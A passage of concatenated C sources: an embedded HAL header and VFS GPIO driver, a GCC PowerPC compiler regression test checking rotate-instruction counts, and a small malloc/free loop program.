hal_uart_recv_II(uart_dev_t *uart, void *data, uint32_t expect_size, uint32_t *recv_size, uint32_t timeout); int32_t hal_uart_finalize(uart_dev_t *uart); typedef struct { uint32_t timeout; } wdg_config_t; typedef struct { uint8_t port; wdg_config_t config; void *priv; } wdg_dev_t; int32_t hal_wdg_init(wdg_dev_t *wdg); void hal_wdg_reload(wdg_dev_t *wdg); int32_t hal_wdg_finalize(wdg_dev_t *wdg); typedef void (*hal_interpt_t)(int32_t vec, void *para); typedef struct { hal_interpt_t fun; void *para; } hal_interpt_desc_t; int32_t hal_interpt_init(void); int32_t hal_interpt_mask(int32_t vec); int32_t hal_interpt_umask(int32_t vec); int32_t hal_interpt_install(int32_t vec, hal_interpt_t handler, void *para, char *name); typedef struct { uint8_t port; void *priv; } dac_dev_t; int32_t hal_dac_init(dac_dev_t *dac); int32_t hal_dac_start(dac_dev_t *dac, uint32_t channel); int32_t hal_dac_stop(dac_dev_t *dac, uint32_t channel); int32_t hal_dac_set_value(dac_dev_t *dac, uint32_t channel, uint32_t data); int32_t hal_dac_get_value(dac_dev_t *dac, uint32_t channel); int32_t hal_dac_finalize(dac_dev_t *dac); const struct file_ops gpio_ops = { .open = vfs_gpio_open, .close = vfs_gpio_close, .read = vfs_gpio_read, .ioctl = vfs_gpio_ioctl }; int vfs_gpio_open(inode_t *inode, file_t *fp) { int ret = -1; gpio_dev_t *gpio_dev = ((void *)0) ; if ((fp != ((void *)0) ) && (fp->node != ((void *)0) )) { if (fp->node->refs == 1) { gpio_dev = (gpio_dev_t *)(fp->node->i_arg); ret = hal_gpio_init(gpio_dev); } else { ret = 0u; } } else { ret = -22; } return ret; } int vfs_gpio_close(file_t *fp) { int ret = -1; gpio_dev_t *gpio_dev = ((void *)0) ; if ((fp != ((void *)0) ) && (fp->node != ((void *)0) )) { if (fp->node->refs == 1) { gpio_dev = (gpio_dev_t *)(fp->node->i_arg); ret = aos_mutex_lock(&fp->node->mutex, 0xffffffffu); if (ret == 0) { ret = hal_gpio_finalize(gpio_dev); } aos_mutex_unlock(&fp->node->mutex); } else { ret = 0u; } } else { ret = -22; } return ret; } ssize_t vfs_gpio_read(file_t *fp, void *buf, size_t nbytes) { int ret = -1; gpio_dev_t *gpio_dev = ((void *)0) ; if ((fp != ((void *)0) ) && (fp->node != ((void *)0) )) { gpio_dev = (gpio_dev_t *)(fp->node->i_arg); ret = aos_mutex_lock(&fp->node->mutex, 0xffffffffu); if (ret == 0) { ret = hal_gpio_input_get(gpio_dev, (uint32_t *)buf); if (ret == 0) { ret = sizeof(uint32_t); } } aos_mutex_unlock(&fp->node->mutex); } else { ret = -22; } return ret; } int vfs_gpio_ioctl(file_t *fp, int cmd, unsigned long arg) { int ret = -1; gpio_dev_t *gpio_dev = ((void *)0) ; if ((fp == ((void *)0) ) || (fp->node == ((void *)0) )) { return -22; } gpio_dev = (gpio_dev_t *)(fp->node->i_arg); ret = aos_mutex_lock(&fp->node->mutex, 0xffffffffu); if (ret != 0) { return ret; } switch(cmd) { case 1: ret = hal_gpio_output_high(gpio_dev); break; case 2: ret = hal_gpio_output_low(gpio_dev); break; case 3: ret = hal_gpio_output_toggle(gpio_dev); break; default: ret = -22; break; } aos_mutex_unlock(&fp->node->mutex); return ret; }
the_stack_data/31527.c
/* { dg-do compile { target { powerpc*-*-* } } } */ /* { dg-options "-O2 -std=c99" } */ /* { dg-final { scan-assembler-times "rlwinm" 2 { target { ilp32 } } } } */ /* { dg-final { scan-assembler-times "rldicl" 2 { target { lp64 } } } } */ int hipBugTest_c1 (); int hipBugTest_c1 () { const int iN = 16; signed char pcIn[iN]; unsigned char pucOut[iN]; for (int i = 0; i < iN; i++) { pcIn[i] = (signed char) (i - 11); pucOut[i] = 0; } for (int i = 0; i < iN; i++) { const unsigned char ucGain = 3; const unsigned char ucLimit = 100; unsigned char ucIn; unsigned char ucErr; unsigned int uiVal; if (pcIn[i] < 0) ucIn = (unsigned char) ( pcIn[i] * -1); else ucIn = (unsigned char) pcIn[i]; uiVal = ucIn - 3; uiVal = uiVal * (unsigned int) ucGain; if (uiVal > ucLimit) ucErr = ucLimit; else ucErr = (unsigned char)uiVal; pucOut[i] = ucErr; } return pucOut[0]; }
the_stack_data/247018410.c
#include <stdlib.h> int main() { int i; int *p; for (i = 0; i < 1000; i++) { p = (int *)malloc(10 * 8); free(p); } return 0; }